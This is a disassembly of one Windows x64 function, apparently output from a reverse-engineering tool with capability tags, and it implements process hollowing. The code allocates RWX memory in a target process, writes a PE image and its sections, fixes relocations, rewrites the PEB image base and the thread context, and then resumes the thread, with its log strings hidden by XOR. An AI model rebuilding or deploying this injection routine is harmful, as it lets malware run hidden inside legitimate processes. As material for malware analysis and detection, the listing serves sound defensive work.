Function at 0x14000ef00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
mov rax, qword [0x14006a080]
xor rax, rsp
mov qword [rbp + 0x4a8], rax
movsxd r13, dword [rdx + 0x3c]
mov rdi, rdx
add r13, rdx
mov qword [rsp + 0x38], rdx
mov r14, rcx
mov qword [rsp + 0x50], r13
mov rcx, qword [rcx]
mov r12d, 0x40
xor edx, edx
mov dword [rsp + 0x20], r12d
mov r8d, dword [r13 + 0x50]
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov rsi, rax
test rax, rax
jne 0x14000efb2
lea rdx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
lea rcx, [rsp + 0x60]
call fcn.1400142a0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000efa2
lea rbx, [rax + 1]
lea edi, [r12 + 0xb]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000ef91
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000f5b5
mov rdx, rsi
lea rcx, str.___Memory_allocate_at_:_0x_p_n
call fcn.140001290
mov r9d, dword [r13 + 0x54]
mov rax, rsi
sub rax, qword [r13 + 0x30]
mov r8, rdi
mov qword [rbp - 0x38], rax
mov rdx, rsi
xor eax, eax
mov qword [r13 + 0x30], rsi
mov rcx, qword [r14]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000f031
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
lea rcx, [rsp + 0x60]
call fcn.140013f90
mov rsi, rax
cmp byte [rax], 0
jne 0x14000f021
lea rbx, [rax + 1]
mov edi, 0x4c
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f010
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000f5b5
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x600], r15
call fcn.140013e50
mov qword [rsp + 0x30], rax
cmp byte [rax], 0
jne 0x14000f06d
lea rbx, [rax + 1]
mov r15d, 0x1d
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r15, 1
jne 0x14000f057
mov rax, qword [rsp + 0x30]
lea rcx, [rax + 1]
mov rdx, rsi
call fcn.140001290
movsxd rbx, dword [rdi + 0x3c]
xor r10d, r10d
cmp dword [rbx + rdi + 0xb0], r10d
je 0x14000f094
mov rbx, qword [rbx + rdi + 0xb0]
jmp 0x14000f097
mov rbx, r10
mov r15, r10
mov qword [rsp + 0x40], rbx
mov dword [rbp + 0x4a0], r10d
cmp r10w, word [r13 + 6]
jae 0x14000f56f
mov rcx, r10
mov qword [rsp + 0x30], rcx
nop dword [rax]
movzx eax, word [r13 + 0x14]
add r13, 0x18
add rax, rcx
add r13, rax
mov edx, dword [r13 + 0xc]
cmp ebx, edx
jb 0x14000f0e3
mov ecx, dword [r13 + 8]
add ecx, edx
cmp ebx, ecx
cmovb r15, r13
mov r8d, dword [r13 + 0x14]
add rdx, rsi
mov r9d, dword [r13 + 0x10]
add r8, rdi
mov rcx, qword [r14]
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000f52f
lea rcx, [rsp + 0x60]
call fcn.140013a50
mov qword [rbp - 0x40], rax
cmp byte [rax], 0
jne 0x14000f142
lea rdi, [rax + 1]
mov esi, 0x21
call fcn.14002a79c
xor byte [rdi], al
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x14000f123
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
mov rax, qword [rbp - 0x40]
mov r8d, dword [r13 + 0xc]
lea rcx, [rax + 1]
add r8, rsi
mov rdx, r13
call fcn.140001290
mov r8d, dword [rbp + 0x4a0]
mov r10d, 0
mov rcx, qword [rsp + 0x30]
inc r8d
mov r13, qword [rsp + 0x50]
add rcx, 0x28
mov dword [rbp + 0x4a0], r8d
mov qword [rsp + 0x30], rcx
movzx eax, word [r13 + 6]
cmp r8d, eax
jl 0x14000f0c0
test r15, r15
je 0x14000f56f
lea rcx, [rsp + 0x60]
call fcn.140013580
mov rdi, rax
cmp byte [rax], 0
jne 0x14000f1c8
lea rbx, [rax + 1]
mov r13d, 0x1d
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r13, 1
jne 0x14000f1b2
mov r13, qword [rsp + 0x50]
lea rcx, [rdi + 1]
mov rdx, r15
call fcn.140001290
xor r8d, r8d
mov edi, r8d
cmp dword [rsp + 0x44], r8d
jbe 0x14000f2d7
mov rdx, qword [rsp + 0x38]
mov r9d, 0x1000
mov r13, qword [rsp + 0x48]
nop word [rax + rax]
mov r12d, dword [r15 + 0x14]
mov eax, edi
add edi, 8
add rax, rdx
add r12, rax
mov eax, dword [r12 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14000f2bf
mov esi, eax
nop word [rax + rax]
mov ecx, dword [r15 + 0x14]
mov eax, edi
add edi, 2
add rax, rdx
movzx eax, word [rcx + rax]
cmp ax, r9w
jb 0x14000f2b5
mov ebx, dword [r12]
and eax, 0xfff
mov rcx, qword [r14]
add rax, r13
add rbx, rax
mov qword [rbp + 0x4a0], r8
mov qword [rsp + 0x20], r8
mov rdx, rbx
mov r9d, 8
lea r8, [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbp - 0x38]
lea r8, [rbp + 0x4a0]
mov rcx, qword [r14]
mov r9d, 8
add qword [rbp + 0x4a0], rax
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
mov r9d, 0x1000
sub rsi, 1
jne 0x14000f230
cmp edi, dword [rsp + 0x44]
jb 0x14000f200
mov rsi, r13
mov r12d, 0x40
mov r13, qword [rsp + 0x50]
mov byte [rsp + 0x60], 0
call fcn.14002a79c
xor al, 0x5b
mov byte [rsp + 0x61], al
call fcn.14002a79c
xor al, 0x2b
mov byte [rsp + 0x62], al
call fcn.14002a79c
xor al, 0x5d
mov byte [rsp + 0x63], al
call fcn.14002a79c
xor al, 0x20
mov byte [rsp + 0x64], al
call fcn.14002a79c
xor al, 0x52
mov byte [rsp + 0x65], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x66], al
call fcn.14002a79c
xor al, 0x6c
mov byte [rsp + 0x67], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x68], al
call fcn.14002a79c
xor al, 0x63
mov byte [rsp + 0x69], al
call fcn.14002a79c
xor al, 0x61
mov byte [rsp + 0x6a], al
call fcn.14002a79c
xor al, 0x74
mov byte [rsp + 0x6b], al
call fcn.14002a79c
xor al, 0x69
mov byte [rsp + 0x6c], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x6d], al
call fcn.14002a79c
xor al, 0x6e
mov byte [rsp + 0x6e], al
call fcn.14002a79c
xor al, 0x73
mov byte [rsp + 0x6f], al
call fcn.14002a79c
xor al, 0x20
mov byte [rsp + 0x70], al
call fcn.14002a79c
xor al, 0x64
mov byte [rsp + 0x71], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x72], al
call fcn.14002a79c
xor al, 0x6e
mov byte [rsp + 0x73], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x74], al
call fcn.14002a79c
xor al, 0x2e
mov byte [rsp + 0x75], al
call fcn.14002a79c
xor al, 0xa
mov byte [rsp + 0x76], al
call fcn.14002a79c
cmp byte [rsp + 0x60], 0
mov byte [rsp + 0x77], al
jne 0x14000f3f2
xor ebx, ebx
call fcn.14002a79c
xor byte [rsp + rbx + 0x61], al
inc rbx
cmp rbx, 0x17
jb 0x14000f3e0
lea rcx, [rsp + 0x61]
call fcn.140001290
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x4d0
call fcn.14004fd80
mov rcx, qword [r14 + 8]
lea rdx, [rbp - 0x30]
mov dword [rbp], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x14000f45d
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
lea rcx, [rsp + 0x60]
call fcn.1400132e0
mov rdi, rax
cmp byte [rax], 0
jne 0x14000f454
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000f443
lea rcx, [rdi + 1]
jmp 0x14000f5a6
mov rdx, qword [rbp + 0x58]
lea r8, [r13 + 0x30]
mov rcx, qword [r14]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000f4c6
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
lea rcx, [rsp + 0x60]
call fcn.140012ff0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000f5a2
lea rbx, [rax + 1]
mov edi, 0x49
nop dword [rax + rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f4b0
jmp 0x14000f5a2
mov eax, dword [r13 + 0x28]
lea rdx, [rbp - 0x30]
mov rcx, qword [r14 + 8]
add rax, rsi
mov qword [rbp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000f51e
lea rdx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
lea rcx, [rsp + 0x60]
call fcn.140012d50
mov rdi, rax
cmp byte [rax], 0
jne 0x14000f454
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000f504
lea rcx, [rdi + 1]
jmp 0x14000f5a6
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x14000f5ad
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
lea rcx, [rsp + 0x60]
call fcn.140013bb0
mov rdi, rax
cmp byte [rax], 0
jne 0x14000f561
lea rbx, [rax + 1]
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000f550
lea rcx, [rdi + 1]
mov rdx, r13
call fcn.140001290
jmp 0x14000f5ab
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_relocation_section_of_the_source_image._n
lea rcx, [rsp + 0x60]
call fcn.1400136c0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000f5a2
lea rbx, [rax + 1]
mov edi, 0x58
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f591
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
mov r15, qword [rsp + 0x600]
mov rcx, qword [rbp + 0x4a8]
xor rcx, rsp
call fcn.14002b600
add rsp, 0x5b0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret